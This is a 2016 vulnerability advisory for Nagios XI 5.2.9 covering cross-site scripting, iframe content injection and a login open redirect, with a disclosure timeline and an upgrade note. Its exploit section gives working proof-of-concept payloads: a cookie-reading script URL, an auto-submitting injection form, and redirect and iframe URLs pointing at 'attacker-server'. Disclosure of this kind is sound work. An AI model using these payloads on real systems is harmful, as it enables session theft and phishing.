Nagios XI 5.2.9 Cross Site Scripting / Open Redirect

`[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/NAGIOS-XI-V5.2.9-MULTIPLE-VULNERABILITIES.txt  
  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
==============  
www.nagios.com  
  
  
  
Product:  
================  
Nagios XI v5.2.9  
  
Nagios XI provides network, server, and application monitoring in one easy  
to configure package along with advanced alerting  
and reporting.  
  
  
  
Vulnerability Type:  
===================  
XSS / Cookie Theft  
Remote Content Injection  
Authentication Open Redirect  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
Nagios XI Admin area contains multiple security issues.  
  
[ Cross Site Scripting - XSS ]  
==============================  
Several XSS vulnerabilities using GET and POST requests that allow Cookie  
theft and arbitrary client side code execution in the  
security context of the current users browser session.  
  
  
[ Remote Content Injection ]  
============================  
The 'xiwindow' URL parameter used to load content into an IFRAME is not  
checked allowing remote content to be injected that  
could allow phishing attacks.  
  
  
[ Authentication Open Redirect ]  
================================  
Nagios Admin login page is insecure in that it allows the user  
authenticating to be redirected to an attacker server if  
the user authenticates using an attacker supplied link or pop up webpage.  
  
  
References:  
https://assets.nagios.com/downloads/nagiosxi/CHANGES-5.TXT  
  
User should upgrade to the latest version of Nagios XI, 5.3.0  
  
  
Exploit code(s):  
===============  
  
[ Cross Site Scripting - XSS ]  
==============================  
1)  
http://victim-server/nagiosxi/includes/components/ccm/ajax.php?cmd=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E&type=cmd&opt=&token=  
  
  
2) <form action="  
http://victim-server/nagiosxi/includes/components/highcharts/exporting-server/index.php"  
method="post">  
<input type="hidden" name="type" value="application/pdf">  
<input type="hidden" name="svg"  
value="</script><script>alert(document.cookie)</script>">  
<script>document.forms[0].submit()</script>  
</form>  
  
  
[ Remote Content Injection ]  
============================  
http://victim-server/nagiosxi/admin/?xiwindow=http://attacker-server  
  
  
  
[ Authentication Open Redirect ]  
================================  
http://victim-server/nagiosxi/login.php?redirect=http://attacker-server  
  
  
  
Disclosure Timeline:  
===================================  
Vendor Notification: July 22, 2016  
Vendor Acknowledgement: July 22, 2016  
Vendor Fixes Releases New Version 5.3.0  
October 20, 2016 : Public Disclosure  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
Low  
  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`